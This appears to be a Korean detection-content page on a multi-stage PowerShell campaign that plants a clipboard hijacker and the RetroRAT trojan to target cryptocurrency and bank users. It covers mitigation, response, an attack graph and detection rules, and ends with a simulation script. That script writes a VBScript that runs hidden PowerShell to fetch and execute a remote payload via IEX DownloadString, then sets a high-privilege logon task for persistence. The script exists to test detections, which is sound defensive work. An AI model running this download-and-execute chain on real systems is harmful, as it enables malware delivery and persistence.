이중 스크립트 작전: 암호화폐와 금융을 표적으로 하는 다중 단계 PowerShell 멀웨어
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 Operation DualScript를 설명합니다. 이는 일정 작업 지속성, VBScript 실행기 및 PowerShell 로더에 의존하여 암호기록기와 RetroRAT 원격 액세스 트로이 목마를 배포하는 다단계 맬웨어 캠페인입니다. 공격자들은 외부 서버에 악성 PowerShell을 저장하고 메모리에서 완전히 실행하여 탐지 기회를 줄입니다. RetroRAT는 키 입력을 기록하고 금융 관련 키워드를 위한 활성 창을 모니터링하며, 도난 데이터를 사용자 정의 TCP C2 채널을 통해 전송합니다. 이 캠페인은 암호화폐 활동과 미국 은행을 목표로 합니다.
조사
분석가들은 사용자 쓰기 가능 경로에서 VBScript 파일을 실행하도록 설정된 예약된 작업을 발견했으며, 이는 숨겨진 PowerShell을 실행 정책 우회 기능이 활성화된 상태로 실행시켰습니다. 병렬적 전달 체인을 두 개 식별했으며, 하나는 암호화폐 클립보드 내용을 가로채기 위해 Wallet.txt 스크립트를 가져왔고, 다른 하나는 RetroRAT를 메모리에 직접 로드했습니다. 정적 분석은 또한 분석 회피 논리, 뮤텍스 생성, 다중 스레드 키로깅 및 하드코딩된 C2 핸드셰이크 문자열도 노출했습니다.
완화
방어자들은 숨겨진 창과 우회 인수로 VBScript 또는 PowerShell을 호출하는 의심스러운 예약된 작업을 모니터링해야 합니다. 엔드포인트 탐지는 메모리 내 PowerShell 실행, 비정상적인 클립보드 모니터링 행동, 미지의 뮤텍스 생성에 중점을 두어야 합니다. 조직은 또한 악의적인 도메인으로의 아웃바운드 트래픽을 차단하고 PowerShell 및 VBScript에 대한 엄격한 실행 통제를 적용해야 합니다.
대응
이 활동이 탐지되면, 영향을 받은 호스트를 격리하고 악성 예약된 작업을 비활성화하며 유지된 VBScript 또는 PowerShell 아티팩트를 제거하세요. RetroRAT 페이로드, 캡처된 키 입력 데이터, 관련 C2 트래픽에 대한 포렌식 전체 스윕을 수행하세요. 노출된 암호화폐 지갑 정보를 재설정하고 은행 자격 증명을 변경하세요. 영향을 받은 시스템을 클린 백업에서 복원하고 네트워크 계층에서 식별된 도메인과 IP 주소를 차단하세요.
"graph TB %% 클래스 정의 classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% 노드 – 테크닉 tech_persistence["<b>기법</b> – <b>T1053 예약된 작업/작업</b><br/><b>설명</b>: 지속성을 위해 숨겨진 모드에서 VBScript 실행기를 실행하는 Windows 예약 작업을 만듭니다."] class tech_persistence technique tech_execution["<b>기법</b> – <b>T1059.001 PowerShell</b><br/><b>설명</b>: 실행 정책 우회 및 메모리 내 직접 실행을 통해 PowerShell 코드를 실행합니다."] class tech_execution technique tech_defense["<b>기법</b> – <b>T1497.002 가상화 샌드박스 회피</b><br/><b>설명</b>: 샌드박스 사용자 이름 및 VM 아티팩트를 확인합니다; 이러한 환경이 탐지되면 중단합니다."] class tech_defense technique tech_download["<b>기법</b> – <b>T1102 웹 서비스</b><br/><b>설명</b>: 원격 페이로드(Wallet.txt)를 HTTPS를 통해 검색하고 이를 ScriptBlock으로 변환해 메모리 내 실행합니다."] class tech_download technique tech_clipboard["<b>기법</b> – <b>T1115 클립보드 데이터</b> 및 <b>T1204.004 악성 복사 및 붙여넣기</b><br/><b>설명</b>: 시스템 클립보드를 모니터링하고 정당한 암호화폐 주소를 공격자 제어 지갑으로 교체합니다."] class tech_clipboard technique tech_keylog["<b>기법</b> – <b>T1056.001 키로깅</b><br/><b>설명</b>: 금융 세션 동안 키 입력을 캡처하기 위해 낮은 수준의 키보드 후크를 설치합니다."] class tech_keylog technique tech_screen["<b>기법</b> – <b>T1113 화면 캡처</b><br/><b>설명</b>: 피해자 활동의 시각적 모니터링을 위해 스크린샷을 기록하거나 데스크탑을 스트리밍합니다."] class tech_screen technique tech_c2["<b>기법</b> – <b>T1041 C2 채널을 통한 데이터 유출</b><br/><b>설명</b>: 수확된 키 입력, 클립보드 데이터 및 로그를 TCP 클라이언트를 사용하여 하드코딩된 C2 서버로 전송합니다."] class tech_c2 technique tech_process["<b>기법</b> – <b>T1543 시스템 프로세스 생성 또는 수정</b><br/><b>설명</b>: 예약된 작업이 PowerShell 페이로드를 위한 새 프로세스를 생성하고 나중에 병렬 기능을 위한 추가 스레드를 생성합니다."] class tech_process technique tech_rdp["<b>기법</b> – <b>T1219.002 원격 데스크톱 소프트웨어</b><br/><b>설명</b>: 공격자가 RetroRAT 구성 요소를 통해 피해자 데스크톱을 보고 제어할 수 있게 합니다."] class tech_rdp technique tech_inputinj["<b>기법</b> – <b>T1674 입력 주입</b><br/><b>설명</b>: 피해자가 내용을 붙여넣기 전에 공격자 제어 지갑 문자열을 클립보드에 주입합니다."] class tech_inputinj technique %% 노드 – 아티팩트 file_vbscript["<b>파일</b> – <b>이름</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>목적</b>: 숨긴 모드에서 PowerShell 페이로드를 실행합니다."] class file_vbscript file malware_retro["<b>맬웨어</b> – <b>이름</b>: RetroRAT<br/><b>기능</b>: 원격 데스크톱 및 명령 실행 기능을 제공합니다."] class malware_retro malware %% 연결 – 흐름 tech_persistence –>|생성| file_vbscript file_vbscript –>|실행| tech_execution tech_execution –>|사용| tech_download tech_download –>|페이로드 전달| tech_process tech_process –>|생성| tech_keylog tech_process –>|생성| tech_screen tech_process –>|생성| tech_clipboard tech_clipboard –>|활성화| tech_inputinj tech_keylog –>|C2를 통해 유출| tech_c2 tech_screen –>|C2를 통해 유출| tech_c2 tech_clipboard –>|C2를 통해 유출| tech_c2 tech_process –>|시작| tech_rdp tech_rdp –>|C2와 통신| tech_c2 tech_rdp –>|실행| malware_retro tech_defense –>|위치 확인| file_vbscript "
공격 흐름
탐지
IOC(HashMd5) 를 감지: Operation DualScript – 암호화폐 및 금융 활동을 목표로 하는 다단계 PowerShell 맬웨어 캠페인
보기
원격 서버로의 명령어 검색 아웃바운드 연결 [Windows 네트워크 연결]
보기
Operation DualScript – VBScript 및 PowerShell을 사용한 스케줄 작업 지속성 [Windows Scheduled Task]
보기
Operation DualScript PowerShell 원격 콘텐츠 다운로드 및 클립보드 하이재킹 [Windows PowerShell]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 & 기본 설정 확인이 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하기 위해 설계된 적대자 기술(TTP)의 정확한 실행을 세부적으로 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영하며, 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하고자 합니다.
-
공격 내러티브 & 명령어:
공격자는 최초로 VBScript를 사용자 프로필 디렉토리에 배치합니다 (dual.vbs). 이 스크립트의 목적은 플래그를 통해 PowerShell을 실행하는 것입니다-WindowStyle Hiddenand-ExecutionPolicy Bypass, 이후 원격 페이로드를 다운로드하여 실행합니다 (간단한Write-Host로 시뮬레이션됨). 지속성을 얻기 위해, 공격자는 로그온 시 VBScript를 실행하는 예약 작업 (DualScriptPersist)을 등록합니다. 각 단계는 규칙이 찾는 두 가지 관련 EventID 4104 항목을 생성합니다. -
회귀 테스트 스크립트:
# ------------------------------------------------- # DualScript 공격 시뮬레이션 – PowerShell # ------------------------------------------------- # 1️⃣ 사용자 쓰기 가능한 경로에 악성 VBScript 생성 $vbsPath = "$env:USERPROFILEdual.vbs" $payloadUrl = "http://example.com/payload.ps1" # 자리 표시자 URL $vbsContent = @" WScript.Sleep 500 Dim sh Set sh = CreateObject("WScript.Shell") sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`"" "@ $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII # 2️⃣ 매 사용자 로그온 시 VBScript를 실행하는 예약된 작업 등록 $taskName = "DualScriptPersist" $taskAction = "`"$vbsPath`"" schtasks.exe /Create ` /SC ONLOGON ` /RL HIGHEST ` /TN $taskName ` /TR $taskAction ` /F # 3️⃣ 작업을 즉시 실행하도록 강제(탐지 유발) schtasks.exe /Run /TN $taskName Write-Host "`n[+] DualScript 시뮬레이션이 실행되었습니다. SIEM에서 경고를 확인하십시오." # ------------------------------------------------- -
정리 명령어:
# ------------------------------------------------- # DualScript 시뮬레이션 정리 # ------------------------------------------------- $taskName = "DualScriptPersist" $vbsPath = "$env:USERPROFILEdual.vbs" # 예약된 작업 삭제 schtasks.exe /Delete /TN $taskName /F # VBScript 파일 제거 Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue Write-Host "`n[+] 정리가 완료되었습니다." # -------------------------------------------------